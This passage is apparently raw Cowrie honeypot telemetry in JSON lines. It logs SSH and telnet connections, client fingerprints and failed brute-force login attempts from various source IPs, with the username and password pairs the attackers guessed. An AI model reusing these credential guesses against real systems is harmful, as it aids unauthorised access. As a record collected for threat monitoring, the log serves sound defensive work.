{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:26:05.983265Z","src_ip":"103.15.226.202","session":"141d8daf9dce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@2020","message":"login attempt [root/Root@2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:26:06.732788Z","src_ip":"103.15.226.202","session":"141d8daf9dce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:26:07.582133Z","src_ip":"116.110.220.181","session":"c082ccb56e27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:26:07.982674Z","src_ip":"103.15.226.202","session":"141d8daf9dce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":37030,"dst_ip":"10.17.0.5","dst_port":22,"session":"7847f5434499","protocol":"ssh","message":"New connection: 2.57.122.210:37030 (10.17.0.5:22) [session: 7847f5434499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:26:09.077700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:26:09.095652Z","src_ip":"2.57.122.210","session":"7847f5434499","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:26:09.187970Z","src_ip":"2.57.122.210","session":"7847f5434499","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1qq2w3e4r5t","message":"login attempt [user/1qq2w3e4r5t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:26:09.637220Z","src_ip":"2.57.122.210","session":"7847f5434499","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:26:10.752283Z","src_ip":"2.57.122.210","session":"7847f5434499","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00230836868286,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:26:11.426454Z","src_ip":"212.55.149.117","session":"95006de80ff2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":54522,"dst_ip":"159.203.135.109","dst_port":23,"session":"4183c011ae1e","protocol":"telnet","message":"New connection: 111.119.202.27:54522 (159.203.135.109:23) [session: 4183c011ae1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:27:11.566285Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":55694,"dst_ip":"159.203.135.109","dst_port":23,"session":"073be45b1612","protocol":"telnet","message":"New connection: 111.119.202.27:55694 (159.203.135.109:23) [session: 073be45b1612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:27:15.229171Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":55696,"dst_ip":"159.203.135.109","dst_port":23,"session":"df54aacdbbe9","protocol":"telnet","message":"New connection: 111.119.202.27:55696 (159.203.135.109:23) [session: df54aacdbbe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:27:19.853082Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":55724,"dst_ip":"159.203.135.109","dst_port":23,"session":"b897b3fec209","protocol":"telnet","message":"New connection: 111.119.202.27:55724 (159.203.135.109:23) [session: b897b3fec209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:27:22.817966Z"}
{"eventid":"cowrie.session.closed","duration":120.00885581970215,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:27:30.091330Z","src_ip":"212.55.149.117","session":"8147bfa01ae6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":36182,"dst_ip":"159.203.135.109","dst_port":23,"session":"54021aa243c8","protocol":"telnet","message":"New connection: 111.119.202.27:36182 (159.203.135.109:23) [session: 54021aa243c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:27:34.516452Z"}
{"eventid":"cowrie.session.closed","duration":0.004987955093383789,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:27:34.521330Z","src_ip":"111.119.202.27","session":"54021aa243c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":47672,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c86cc92d9d0","protocol":"telnet","message":"New connection: 111.119.202.27:47672 (159.203.135.109:23) [session: 9c86cc92d9d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:27:38.375311Z"}
{"eventid":"cowrie.session.closed","duration":34.34875535964966,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:27:45.914944Z","src_ip":"111.119.202.27","session":"4183c011ae1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.220.181","src_port":54424,"dst_ip":"159.203.135.109","dst_port":22,"session":"59c3e2424691","protocol":"ssh","message":"New connection: 116.110.220.181:54424 (159.203.135.109:22) [session: 59c3e2424691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:27:47.125499Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":54558,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c1661c48cb3","protocol":"telnet","message":"New connection: 111.119.202.27:54558 (159.203.135.109:23) [session: 7c1661c48cb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:27:47.197332Z"}
{"eventid":"cowrie.session.closed","duration":0.00801396369934082,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:27:47.205205Z","src_ip":"111.119.202.27","session":"7c1661c48cb3","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:27:47.462098Z","src_ip":"116.110.220.181","session":"59c3e2424691","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:27:47.479410Z","src_ip":"116.110.220.181","session":"59c3e2424691","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:27:48.483063Z","src_ip":"116.110.220.181","session":"59c3e2424691","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:27:49.788720Z","src_ip":"116.110.220.181","session":"59c3e2424691","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.01220107078552,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:27:51.865146Z","src_ip":"111.119.202.27","session":"df54aacdbbe9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":47660,"dst_ip":"159.203.135.109","dst_port":23,"session":"638e5bc38802","protocol":"telnet","message":"New connection: 111.119.202.27:47660 (159.203.135.109:23) [session: 638e5bc38802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:27:53.121599Z"}
{"eventid":"cowrie.session.closed","duration":120.00293278694153,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:27:54.619748Z","src_ip":"212.55.149.117","session":"4808835e9a5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":55740,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bcba3f46d54","protocol":"telnet","message":"New connection: 111.119.202.27:55740 (159.203.135.109:23) [session: 1bcba3f46d54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:27:54.873312Z"}
{"eventid":"cowrie.session.closed","duration":0.0058515071868896484,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:27:54.879010Z","src_ip":"111.119.202.27","session":"1bcba3f46d54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":39698,"dst_ip":"10.17.0.5","dst_port":22,"session":"088b47a86d3a","protocol":"ssh","message":"New connection: 2.57.122.238:39698 (10.17.0.5:22) [session: 088b47a86d3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:27:56.403083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:27:56.407638Z","src_ip":"2.57.122.238","session":"088b47a86d3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:27:56.508354Z","src_ip":"2.57.122.238","session":"088b47a86d3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:27:56.809481Z","src_ip":"2.57.122.238","session":"088b47a86d3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":16314,"dst_ip":"10.17.0.5","dst_port":23,"session":"5144e0754570","protocol":"telnet","message":"New connection: 212.55.149.117:16314 (10.17.0.5:23) [session: 5144e0754570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:27:57.664079Z"}
{"eventid":"cowrie.session.closed","duration":42.592278480529785,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:27:57.821298Z","src_ip":"111.119.202.27","session":"073be45b1612","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:27:57.912863Z","src_ip":"2.57.122.238","session":"088b47a86d3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":56742,"dst_ip":"159.203.135.109","dst_port":23,"session":"06295bdda3ff","protocol":"telnet","message":"New connection: 111.119.202.27:56742 (159.203.135.109:23) [session: 06295bdda3ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:28:09.199894Z"}
{"eventid":"cowrie.session.closed","duration":32.7553493976593,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:28:11.130595Z","src_ip":"111.119.202.27","session":"9c86cc92d9d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":44330,"dst_ip":"159.203.135.109","dst_port":22,"session":"619fde3c22e6","protocol":"ssh","message":"New connection: 213.209.159.56:44330 (159.203.135.109:22) [session: 619fde3c22e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:28:17.542746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:28:17.551327Z","src_ip":"213.209.159.56","session":"619fde3c22e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:28:17.633183Z","src_ip":"213.209.159.56","session":"619fde3c22e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daysha","password":"daysha","message":"login attempt [daysha/daysha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:28:18.035171Z","src_ip":"213.209.159.56","session":"619fde3c22e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daysha","password":"daysha1","message":"login attempt [daysha/daysha1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:28:19.119802Z","src_ip":"213.209.159.56","session":"619fde3c22e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daysha","password":"daysha123","message":"login attempt [daysha/daysha123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:28:20.205211Z","src_ip":"213.209.159.56","session":"619fde3c22e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daysha","password":"daysha1234","message":"login attempt [daysha/daysha1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:28:21.290296Z","src_ip":"213.209.159.56","session":"619fde3c22e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":55034,"dst_ip":"10.17.0.5","dst_port":22,"session":"952a4ed6dc3b","protocol":"ssh","message":"New connection: 2.57.122.210:55034 (10.17.0.5:22) [session: 952a4ed6dc3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:28:21.893956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:28:21.899349Z","src_ip":"2.57.122.210","session":"952a4ed6dc3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 